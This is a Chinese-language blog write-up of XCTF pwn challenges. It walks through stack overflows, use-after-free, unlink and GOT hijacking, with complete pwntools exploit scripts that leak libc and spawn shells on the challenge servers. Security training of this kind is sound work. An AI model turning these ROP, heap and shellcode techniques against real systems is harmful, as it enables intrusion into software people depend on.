[XCTF]高手进阶区PWN Writeup

难易程度我不清楚,所以看到啥写啥吧,简单的就一笔带过

Welpwn

read那里没有溢出,着重看一下echo这个函数

s数组是存了buf的内容,所以会造成溢出。

调试看了一下,出现上图的原因应该是遇到00就停止向s2数组拷贝并且末尾补00,所以我们只能传入一个地址,但是可以看到,栈中s2的下方就是buf,因此我们利用pop调整栈帧即可。

用read发现libcsearch匹配到的libc都不对,所以只能用libc-db手动找一下。

#! /usr/bin/python

import sys
from pwn import *
from LibcSearcher import *

sl = lambda x:p.sendline(x)
sd = lambda x:p.send(x)
sda = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
rv = lambda x:p.recv(x)
ru = lambda x:p.recvuntil(x)
ia = lambda :p.interactive()

context.log_level = 'debug'

if(sys.argv[1] == 'l'):
	p = process("./welpwn")
	elf = ELF("./welpwn")
else:
	p = remote('220.249.52.133',41517)
	elf = ELF("./welpwn")

#gdb.attach(p,'b *0x4007B5')
###leak libc###
puts_plt = elf.symbols['puts']
write_got = elf.got['write']
pop_rdi_ret = 0x00000000004008a3
pop4_ret = 0x000000000040089c
main = 0x4007CD

payload = 'A' * 0x10 + 'deadbeef' + p64(pop4_ret) 
payload+= p64(pop_rdi_ret) + p64(write_got) + p64(puts_plt) + p64(main)
sla('RCTF\n',payload)

write = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
libc = LibcSearcher('write',write)
libc_base = write - 0x0f72b0
#libc_base = write - libc.dump('write')
success('libc base:'+hex(libc_base))

###ROP again###
system = libc_base + 0x045390
sh = libc_base + 0x18cd57
#system = libc + libc.dump('system')
#sh = libc_base + libc.dump('str_bin_sh')

payload = 'A' * 0x10 + 'deadbeef' + p64(pop4_ret) 
payload+= p64(pop_rdi_ret) + p64(sh) + p64(system)
sd(payload)

###get shell###
ia()

pwn-200

前面字符串是欢迎语句,看一下vuln

溢出,没Canary。

就是个x86的write leak libc常规ROP,exp不贴了。


pwn1

又是一个栈的题目,可以溢出0x10字节,但是开了Canary,想办法leak。

这个栈布局直接leak canary即可,盖掉00,看到后面的libc_start_main,因为不是独立的函数,所以leak完Canary以后是可以盖掉canary来leak libc的。然后完成ROP后quit即可getshell。

没什么难点,就是要想到leak这个点就可以了。


note_service2

看样子应该是个堆题,前面都是初始化,我们直接看main_E30()。

菜单题,功能比较全,这类题我不详细说分析过程了,只给出漏洞点。

有个UAF,edit、show功能是没有的,add的话限制size[0,8],最多12个note。

一开始我看了半天没看出来有什么问题,off-by-one也没有,后面才发现根本没有检查数组下标,存在数组下标越界导致的任意写情况。想了半天还是不知道怎么leak….最后参考了别的师傅的wp。

程序没开NX,可以通过将shellcode写在堆上(利用数组下标越界将free指向堆块地址)来getshell,但是有一个问题:

实际每个堆块我们只能控制7个字节,最后一个字节为00。所以每个堆写5个字节的shellcode,在堆上跳转属于短跳,所以我们可以使用jmp short指令来完成堆块之间的跳转。

shellcode采取execve(‘/bin/sh’,0,0)的方式getshell:

mov rdi,&(/bin/sh)
xor rsi,rsi
xor rdx,rdx
mov rax 0x3b
syscall

我们每个堆块有5个字节来写shellcode,剩下两个来写跳转指令。

看到jmp short的机器码是 EB,怎么跳到下一部分的shellcode呢?到下一串shellcode的距离就是:

说一下第一个地址为什么是17,因为chunk的user data地址是10,加上2个字节的指令跳转和5个字节的shellcode,就是17,到下一个chunk的user data也就是shellcode是0x19。

再说一下shellcode的第一部分,只要将/bin/sh写入一个chunk然后free之前刚好把chunk地址(/bin/sh)赋值给rdi,这个不用我们操心了。当然,其他只有一个参数并且可以是堆地址的函数也是ok的。

#! /usr/bin/python

import sys
from pwn import *
from LibcSearcher import *

sl = lambda x:p.sendline(x)
sd = lambda x:p.send(x)
sda = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
rv = lambda x:p.recv(x)
ru = lambda x:p.recvuntil(x)
ia = lambda :p.interactive()

context(os='linux',arch='amd64')
context.log_level = 'debug'

if(sys.argv[1] == 'l'):
	p = process("./note_service2")
	elf = ELF("./note_service2")
else:
	p = remote('220.249.52.133',52913)
	elf = ELF("./note_service2")

def menu(cmd):
    sla('your choice>> ',str(cmd))

def add(idx,cnt):
    menu(1)
    sla('index:',str(idx))
    sla('size:','8')
    sla('content:',cnt)

def delete(idx):
    menu(4)
    sla('index:',str(idx))

###index###
add(0,'/bin/sh')

free_got_offset = elf.got['free']
list_chunk_offset = 0x2020A0
offset = (free_got_offset - list_chunk_offset) / 8

add(offset,asm('xor rax,rax')+'\x90\x90\xeb\x19')
add(1,asm('mov eax,0x3b')+'\xeb\x19')
add(2,asm('xor rsi,rsi')+'\x90\x90\xeb\x19')
add(3,asm('xor rdx,rdx')+'\x90\x90\xeb\x19')
add(4,asm('syscall').ljust(7,'\x90'))

delete(0)
###get shell###
ia()

SuperMarket

代码逻辑有稍许的复杂,我们先动调看一下。

执行了一次add,看到其实是出现了两个堆块,主要看第一个chunk放了些什么东西:

那个0x31没看出来是个什么,14就是我们输入的价格即20,然后0x60是申请的chunk的size,后面紧跟的是chunk的地址。后面看代码发现是name。

先说一下漏洞点,在change_description里面:

主要是realloc的特点造成的,之前说过,再放一次图吧:

可知我们如果new_size>old_size,且此时堆区没有连续空间,因此会free掉旧空间并申请新的chunk,但是指针数组以及结构体中的内容并没有变,因此应该是有个UAF。让它没有连续空间也好说,在它下面申请个就可以了。

本来是想这样完成libc的leak,发现后面加了00,所以这条路行不通。

不妨用个最简单的方法,既然结构体中有指针,我们就用UAF来修改指针完成任意地址读写。

我来详细解释一下这个exp,首先add两个,第二个是为了防止realloc直接从top chunk分配内存造成没有UAF的情况,首先change_des一次第一个chunk,new>old且无连续空间,会把当前chunk free并且新申请一个内存,但是结构体里面的指针没有改变,出现UAF的情况。此时再add一个(3),那么新的这个结构体会从bin中的chunk切割,而bin中的chunk是UAF的,所以申请完后可以利用1来修改切割的3的结构体,构造数据将指针改成got,注意因为会添加00所以修改完指针后必须把size一起赋值(不必担心size,1对bin中整个chunk都有控制,不管被切割出去的结构体还是剩下的bin chunk),不然下一个堆块的size是00,就出问题了。然后此时3的结构体就是我们伪造过的,可以读写GOT了。

 #! /usr/bin/python

import sys
from pwn import *
from LibcSearcher import *

sl = lambda x:p.sendline(x)
sd = lambda x:p.send(x)
sda = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
rv = lambda x:p.recv(x)
ru = lambda x:p.recvuntil(x)
ia = lambda :p.interactive()

context.log_level = 'debug'

if(sys.argv[1] == 'l'):
	p = process("./supermarket")
	elf = ELF("./supermarket")
	libc = ELF('./libc.so.6')
else:
	p = remote('220.249.52.133',48370)
	elf = ELF("./supermarket")
	libc = ELF('./libc.so.6')
    
def menu(cmd):
    sla('choice>> ',str(cmd))

def add(name,size,des,price=10):
    menu(1)
    sla('name:',name)
    sla('price:',str(price))
    sla('descrip_size:',str(size))
    sla('description:',des)

def delete(name):
    menu(2)
    sla('name:',name)

def _list():
    menu(3)

def change_price(name,price):
    menu(4)
    sla('name:',name)
    sla('in:',str(price))

def change_des(name,size,des):
    menu(5)
    sla('name:',name)
    sla('size:',str(size))
    sla('description:',des)

###init###
atoi_got = elf.got['atoi']


###leak libc###
add('1',0x60,'aaaa')
add('2',0x70,'bbbb')

change_des('1',0x70,'')
add('3',0x80,'cccc')
payload = p32(0x33) + p32(0) * 3 + p32(0x14) + p32(0x8) + p32(atoi_got) + p32(0x49)
change_des('1',0x60,payload)

_list()
ru('')
atoi = u32(ru('\xf7')[-4:].ljust(4,'\x00'))
libc_base = atoi - libc.symbols['atoi']
success('libc base:'+hex(libc_base))

###hijack got###
system = libc_base + libc.symbols['system']
change_des('3',0x8,p32(system))

menu('/bin/sh\x00')

#gdb.attach(p)
###get shell###
ia()

还是说明一下构造UAF的时候为什么数据是空的,因为如果不为空那unsorted bin的链就会corrupt,影响下面3号申请结构体时的切割。


pwn-100

main里面只有setbuf和一个自定义函数,自定义函数如下:

看一下sub_4063D:

其实就是逐字节read而已,应该是栈溢出。

就是简单的栈溢出,不多说了。

实时数据监测

emmm看到这题还以为工控相关…想多了…

说实话好久没看过这一片红了。

这种情况imagemaigc()里面绝壁是个格式化字符串(还是要确定一下有没有拼接字符串啥的,本题没得)。

比较简单的写,不多说了。


Recho

栈溢出,有个小问题就是一直在while(read()),不退出循环是无法到ret的,而只有断开socket通道才能退出循环,但是这样明显不合适。查资料发现shutdown(‘write’)可以退出循环(pwntools)。

又有一个问题,关闭输入退出循环意味着必须一次ROP拿到flag。

data段flag,可以open->read->write来输出flag,虽然程序没有Open,但是可以通过syscall来完成open的调用。

看到read的GOT表地址+0xE的地方就是syscall,alarm同理,找一下gadget:

#! /usr/bin/python

import sys
from pwn import *
from LibcSearcher import *

sl = lambda x:p.sendline(x)
sd = lambda x:p.send(x)
sda = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
rv = lambda x:p.recv(x)
ru = lambda x:p.recvuntil(x)
ia = lambda :p.interactive()

context.log_level = 'debug'

if(sys.argv[1] == 'l'):
	p = process("./Recho")
	elf = ELF("./Recho")
else:
	p = remote('220.249.52.133',52707)
	elf = ELF("./Recho")

###attack###
pop_rax_ret = 0x00000000004006fc
pop_rdi_ret = 0x00000000004008a3
pop_rdx_ret = 0x00000000004006fe
pop_rsi_r15_ret = 0x00000000004008a1
add_rdi_al_ret = 0x000000000040070d


##modify GOT##
alarm_got = elf.got['alarm']
offset = 0x5

payload = 'A' * 0x30 + 'deadbeef'
payload+= p64(pop_rax_ret) + p64(0x5)
payload+= p64(pop_rdi_ret) + p64(alarm_got)
payload+= p64(add_rdi_al_ret)

##open(flag,0,0)##
flag = 0x601058
alarm_plt = elf.symbols['alarm']

payload+= p64(pop_rax_ret) + p64(0x2)
payload+= p64(pop_rdi_ret) + p64(flag)
payload+= p64(pop_rsi_r15_ret) + p64(0) + p64(0)
payload+= p64(pop_rdx_ret) + p64(0)
payload+= p64(alarm_plt)

##read(fd,bss+0x200,0x40)##
bss = 0x601060
read_plt = elf.symbols['read']

payload+= p64(pop_rdi_ret) + p64(3)
payload+= p64(pop_rsi_r15_ret) + p64(bss+0x200) + p64(0)
payload+= p64(pop_rdx_ret) + p64(0x40)
payload+= p64(read_plt)

##printf(bss+0x200)##
printf_plt = elf.symbols['printf']

payload+= p64(pop_rdi_ret) + p64(bss+0x200)
payload+= p64(printf_plt)

###get flag###
sla('server!\n',str(len(payload)))
sleep(1)
sd(payload)
p.shutdown('write')
ia()

通过修改某一函数的GOT表为syscall,然后通过syscall调用open(flag,0,0),然后read(3,flag,0x40)把flag读到,具体fd的值请自己查阅资料,然后再通过printf打印出来。


noleak

2.23的菜单题,没有leak。

点在UAF,并且好像update和delete都没检查下标是否越界。

第二个点是堆溢出。

本来是是想劫持stdout,但是不知道为什么leak不出来,看到有RWX段。

思路是这样的,通过unlink控制list中的内容,再通过unsortedbin attack把main_arena的地址写入list中,通过刚才的unlink修改低位为malloc_hook,将写有shellcode的堆地址写入malloc_hook即可(考虑堆地址不好leak的话可以卸载0x601000-0x602000这个位置)。

unlink堆布局:

unsoreted bin attack:

这里有个小问题,就是进行unsortedbin attack的时候,后面放的是0x20的chunk,不然会出错。

可以看到main_arena和hook只有低一字节不同,覆盖即可。

#! /usr/bin/python

import sys
from pwn import *

sl = lambda x:p.sendline(x)
sd = lambda x:p.send(x)
sda = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
rv = lambda x:p.recv(x)
ru = lambda x:p.recvuntil(x)
ia = lambda :p.interactive()

context.log_level = 'debug'
context(os='linux',arch='amd64')
context.terminal = ['tmux','splitw','-h']

if(sys.argv[1] == 'l'):
	p = process("./noleak", env={"LD_PRELOAD":"/glibc/2.23/64/lib/libc-2.23.so"})
	elf = ELF("./noleak")
else:
	p = remote('220.249.52.134',57824)
	elf = ELF("./noleak")


def menu(cmd):
	sla('Your choice :',str(cmd))

def add(size,content):
	menu(1)
	sla('Size: ',str(size))
	sda('Data:',content)

def delete(idx):
	menu(2)
	sla('Index: ',str(idx))

def edit(idx,content):
	menu(3)
	sla('Index: ',str(idx))
	sla('Size: ',str(len(content)))
	sda('Data:',content)

def pwn():

	###init###
	buf = 0x601040
	fake_FD = buf - 0x18
	fake_BK = buf - 0x10
	shellcode = asm(shellcraft.sh())

	###unlink###
	add(0x90,'aaaa')#0
	add(0x90,'bbbb')#1
	add(0x60,'cccc')#2

	
	payload = p64(0) + p64(0x81) + p64(fake_FD) + p64(fake_BK)
	payload = payload.ljust(0x80,b'A') + p64(0x80) + p64(0)
	payload+= p64(0x90) + p64(0xa0)

	edit(0,payload)
	delete(1)

	payload = b'\x00' * 0x18 + p64(buf+0x500) + p64(buf+0x20)
	edit(0,payload)

	###unsorted bin attack###
	add(0x100,'cccc')#3
	add(0x10,'dddd')#4
	delete(3)
	edit(3,p64(0) + p64(buf + 0x10))
	add(0x100,'cccc')#5

	###malloc hook###
	edit(1,b'\x10')          #buf[4]->malloc_hook

	edit(0,shellcode)        #shellcode to .data

	edit(4,p64(buf+0x500))   #malloc_hook -> .data(shellcode)

	###get shell###
	sl('1')
	sl('70')
	ia()

pwn()

再说一下思路,通过unlink控制list内容,然后通过unsorted bin attack将main_arena写入到list中,再利用刚才Unlink获得的地址写覆盖main_arena的低位成malloc_hook,然后将shellcode布置在rwx段上,再edit将shellcode地址写入malloc_hook。


secret_file

感觉有点复杂,但是很明显我们应该去执行popen并且参数应该可控才行。

可以看到之前是获取输入的数据,然后strcpy到dest中,接着进入sub_DD0(),来跟进看一下这个函数。

应该是做了SHA256加密处理,之后进行了处理比较,比较成功就会进入到popen。

断点下到strcmp可以看到,把这个地方赋值为padding的SHA256哈希值即可。看到栈的情况,对照反汇编和栈数据,(cat fl*;)指令后面还有(0x18-0x5)要填充,即减去5字节的hash。


dubble

保护全开,大概看了下一共是实现了从小到大排序的功能。

随手输了aaa发现有数据leak,直接下断点看一下。

7个0x4数据后就是一个libc的地址,可以leak。

接着看代码:

v5作为计数器和numbers比较,循环输入数字。

这样看来就简单很多了,不过canary无法leak,想办法。看资料说是输入-、+可以跳过。

先占位看一下怎么覆盖:

注意调试得知20的地方是canary,对应的28是system,29就是sh。

断点下在排序完看一下:

再看ret时的情况:

一开始总拿不到shell,后面发现偏移有问题…

0x8的system栈上是这样的,理论来说也可以getshell,但是不成功。

#! /usr/bin/python

import sys
from pwn import *

sl = lambda x:p.sendline(x)
sd = lambda x:p.send(x)
sda = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
rv = lambda x:p.recv(x)
ru = lambda x:p.recvuntil(x)
ia = lambda :p.interactive()
context.log_level = 'debug'

if(sys.argv[1] == 'l'):
	p = process("./dubblesort",env={"LD_PRELOAD":"./libc_32.so.6"})
	elf = ELF("./dubblesort")
	libc = ELF('./libc_32.so.6')
else:
	p = remote('220.249.52.134',46375)
	elf = ELF("./dubblesort")
	libc = ELF('./libc_32.so.6')

#gdb.attach(p)
###leak libc###
sda('What your name :','A'*27+'B')

ru('B')
#libc_base = u32(rv(4)) - 0x1af244
libc_base = u32(rv(4)) - 0x1ae244
success('libc base:'+hex(libc_base))

system = libc_base + libc.symbols['system']
sh = libc_base + libc.search("/bin/sh").next()


###ROP###
offset = 0x23

sla('sort :',str(offset))

for i in range(0x18):
    sla('number : ',str(i))

sla('number : ','+')

for i in range(9):
    sla('number : ',str(system))
sla('number : ',str(sh))


###get shell###
ia()

RCalc

main

看一下entry:

首先这里有个溢出,不过后面将result和random创建的随机数进行了比对;

malloc_init
get_result

可以看到,v2这个随机数是函数开始就通过random()赋值,之后result是通过get_result()赋值,看一下random():

random

可以看到random是把随机数放到chunk2中并且return,那么get_result()又是取出随机数。实际上是实现了一个Canary。首先在栈上放置随机数,函数结束时取出随机数与栈上做比较。

Calc()中有同样的操作:

加减模乘具体的操作就不看了,就是普通的运算,看一下save_result。

把结果存到了chunk1中,调试看一下:

第一个框是我进行了4次1+1的运算,第二个框是存canary的chunk,其实是有溢出的,通过溢出覆盖chunk2上的canary即可绕过canary。

说几个问题,第一个是覆盖canary的时候其实是chunk2的fd的位置,覆盖多了会不通过。第二个是能leak出libc的只有libc_start_main配合printf。是因为scanf接收到空格(0x20)和换行(0xa)就会截断。并且看其他师傅说eax要清零(程序本身调用函数也是清零了),把canary覆盖成0就是最好的选择,上图看到system确实执行了,但是没能getshell…

#! /usr/bin/python

import sys
from pwn import *
from LibcSearcher import *

sl = lambda x:p.sendline(x)
sd = lambda x:p.send(x)
sda = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
rv = lambda x:p.recv(x)
ru = lambda x:p.recvuntil(x)
ia = lambda :p.interactive()
context.log_level = 'debug'

#context.terminal = ['tmux','splitw','-h']

if(sys.argv[1] == 'l'):
	p = process("./RCalc")#, env={"LD_PRELOAD":"./libc-2.23.so"})
	elf = ELF("./RCalc")
	libc = ELF('./libc.so.6')
else:
	p = remote('220.249.52.134',46558)
	elf = ELF("./RCalc")
	libc = ELF('./libc.so.6')

def input2data(num1,num2):
    sla('input 2 integer: ',str(num1))
    sl(str(num2))
    sla('Save the result? ','yes')

def menu(cmd):
    sla('choice:',str(cmd))

def add(num1,num2):
    menu(1)
    input2data(num1,num1)

def sub(num1,num2):
    menu(2)
    input2data(num1,num1)

def mod(num1,num2):
    menu(3)
    input2data(num1,num1)

def mul(num1,num2):
    menu(4)
    input2data(num1,num1)

def _exit():
    menu(5)


###bypass Canary rop2leak###
pop_rdi_ret = 0x0000000000401123
printf_plt = elf.symbols['printf']
libc_start_main_got=elf.got['__libc_start_main']
main = 0x401036

payload = p64(0) * (0x118/0x8) + p64(pop_rdi_ret) + p64(libc_start_main_got) + p64(printf_plt) + p64(main)
sla('name pls: ',payload)
offset = 0x118
for i in range(offset/8):
    add(0,0)

_exit()

libc_base = u64(rv(6).ljust(8,'\x00')) - libc.symbols['__libc_start_main']
success('libc base:'+hex(libc_base))

###bypass Canary rop###
system = libc_base + libc.symbols['system']
sh = libc_base + libc.search('/bin/sh').next()

payload = p64(0) * (0x118/0x8) + p64(pop_rdi_ret) + p64(sh) + p64(system) + p64(0)
sla('name pls: ',payload)

offset = 0x118
for i in range(offset/8):
    add(0,0)

_exit()

###get shell###
ia()

Leave a Reply

Your email address will not be published. Required fields are marked *

five − 4 =